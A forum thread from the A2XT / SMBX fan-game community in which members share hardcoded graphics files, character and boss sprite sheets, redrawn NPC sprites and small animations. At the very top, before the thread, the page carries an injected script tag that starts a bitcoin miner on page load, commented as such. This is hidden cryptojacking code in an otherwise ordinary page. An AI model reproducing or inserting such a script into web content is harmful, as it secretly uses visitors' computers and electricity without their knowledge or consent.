<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectsmbx communitymario fan games galaxy

A2MBXT - Graphics

The second SMBX collab!
User avatar
Rednaxela
Maker of Shenanigans
Posts: 784
Joined: 6 years ago

Re: A2MBXT - Graphics

Postby Rednaxela » 2 years ago

SAJewers wrote:
Hoeloe wrote: Does anyone happen to have the set of graphics that were hardcoded into the A2XT exe file? In order to update to SMBX 2.0, I need those graphics.
hardcoded gfx replacements.zip^

Anything missing there, then I probably don't have it
I already gave this to Hoeloe in Discord earlier today, but for reference of others in the forums, the hardcoded files in the format used by LunaLua/2.0 are here:
https://www.dropbox.com/s/k5nvjseh8tz6u ... d.zip?dl=0

I think I probably linked this in the forums once in the past but would have been quite some time ago.

User avatar
raocow
the death of the incredible huge
Posts: 2968
Joined: 10 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: A2MBXT - Graphics

Postby raocow » 2 years ago

digital groove is a fine name. it's a nice play from analogue funk, it keeps the pattern going.
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 983
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: A2MBXT - Graphics

Postby Rockythechao » 2 years ago

Doing some spring cleaning in the dev chat because we hit the pin limit, figured I might as well post some stuff here. Spoilering them all for compactness but they should be relatively safe for passing bovines unless specified otherwise.

Apologies to Nabe but I did a rough Pink Sheath done back in December. Just did a quick pass to apply most of the changes they mentioned on page 37, so the sprites could probably still use another quick go-over for remaining polish.
Image
Cutscene sprite sheets for the main 5. Mostly just idle, walk, carry, jump, basic expressive poses, etc. We're trying to keep them fairly limited to ensure that making variants for each costume will be feasible.
Image
Image
Image
Image
Image
ACTUAL SPOILERS WARNING: Sheets for some of the bosses and other characters in Ep. 2. The ones with different formats were made before the sprite animation tech was finalized.
Image
Image
Image
Image
Image
Image
ACTUAL SPOILERS WARNING: All four Elders + some additional sprites that may or may not be used depending on the direction Ep. 3's plot takes.
Image

BONUS:
Image
Image

Don't worry, we're not making cutscenes or bosses or anything for Ep. 3 until after we're done with Ep. 2, and these sprites are by no means final! Like with the Elders, I just did them on a whim for fun, practice, etc. I'll probably give the other SCs similar treatment as well relatively soonish.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 𝐀𝐖𝐄𝐒𝐎𝐌𝐄 𝐏𝐑𝐀𝐘𝐄𝐑 𝐈𝐒
𝐂𝐎𝐍𝐅𝐋𝐈𝐂𝐓 𝐖𝐈𝐓𝐇 𝐔𝐒

- 𝐁𝐀𝐓𝐓𝐋𝐄𝐒𝐔𝐈𝐓 𝐌𝐎𝐑𝐒𝐄𝐋 -

𝐊𝐄𝐄𝐏 𝐘𝐎𝐔𝐑 𝐃𝐈𝐆𝐍𝐈𝐓𝐘

User avatar
Chaoxys
Shocking, it's it?
Posts: 142
Joined: 8 years ago

Re: A2MBXT - Graphics

Postby Chaoxys » 2 years ago

Okay, so I posted this on one of the discord chats, and it gained some attention.

Image

Basically, I cleaned up the sprites a bit, added more defined borders between their hair and head, cleaned up the shading, ect. All I'll say is that if every likes it enough and is okay with it, I'd be willing to make full sheets for it (most likely for episode 3).


A side thing, but I also made sprites for Wademo/Waris. Not sure if they will ever show up, and idk how people would feel about the alterations to the designs I went with, but here they are just in case.

Image
(Ignore the Wademo in the sweater, that was an earlier attempt, but it came out too cute).
Image

User avatar
raocow
the death of the incredible huge
Posts: 2968
Joined: 10 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: A2MBXT - Graphics

Postby raocow » 2 years ago

you know what, wademo with the sweater IS really cute
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
Chaoxys
Shocking, it's it?
Posts: 142
Joined: 8 years ago

Re: A2MBXT - Graphics

Postby Chaoxys » 2 years ago

Image

Tried making the different power up forms. As I said before, if people are interested in them, I'd be willing to make sheets.
Image

User avatar
ztarwuff
What the heck is a flair and why am I being asked to write one for my profile?
Posts: 558
Joined: 6 years ago
Location: Within 2 miles of the Imperial Crypt of Napoleon III

Re: A2MBXT - Graphics

Postby ztarwuff » 1 year ago

Whilst working on my SMBXtroidvania idea again (I managed to fix my old copy of SMBX), I noticed something off about the bullet bill replacement graphics. I was always misjudging their size, so when I looked at the graphic file, I noticed the outline was much thicker than normal, which gave the impression that the bullet bill was smaller than it actually was.

So I spent a little time fixing it.

Image

To tell you the truth, it would be even better if the mouth wasn't a gaping hole, so I also made this:

Image

Whilst I was at it, I wasn't very happy with my beet contributions, so I redid them:

NPC-185:
Image

NPC-187:
Image

I'd be very grateful if you could replace those with these ones instead.

User avatar
Chaoxys
Shocking, it's it?
Posts: 142
Joined: 8 years ago

Re: A2MBXT - Graphics

Postby Chaoxys » 7 months ago

Image

New Demo sheets
Image

User avatar
Ittababy
Posts: 13
Joined: 6 years ago

Re: A2MBXT - Graphics

Postby Ittababy » 5 months ago

goop.gif
goop.gif (1.25 KiB) Viewed 2190 times
I always missed the original goopa's simple cuteness, so I tried to make a compromise goop, cute them up,y'know? :)
A very shy ghost.

User avatar
Ittababy
Posts: 13
Joined: 6 years ago

Re: A2MBXT - Graphics

Postby Ittababy » 5 months ago

I'm sort of bad at animating, but here's an idea to replace the new berry npc:
pepper.gif
pepper.gif (759 Bytes) Viewed 2181 times
A spicy chili~!
A very shy ghost.

User avatar
ztarwuff
What the heck is a flair and why am I being asked to write one for my profile?
Posts: 558
Joined: 6 years ago
Location: Within 2 miles of the Imperial Crypt of Napoleon III

Re: A2MBXT - Graphics

Postby ztarwuff » 5 months ago

Ittababy wrote: I'm sort of bad at animating, but here's an idea to replace the new berry npc:
pepper.gif
A spicy chili~!
That's really neat.

The one thing I've never understood is why the fire flower replacement is a cactus and not a chilli pepper.

User avatar
SAJewers
hi
Posts: 3228
Joined: 7 years ago
Location: Nova Scotia

Re: A2MBXT - Graphics

Postby SAJewers » 5 months ago

ztarwuff wrote:
Ittababy wrote: I'm sort of bad at animating, but here's an idea to replace the new berry npc:
pepper.gif
A spicy chili~!
That's really neat.

The one thing I've never understood is why the fire flower replacement is a cactus and not a chilli pepper.
blame raocow for that

ImageImageImageImageImage
Image
ImageImageImageImage


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 1 guest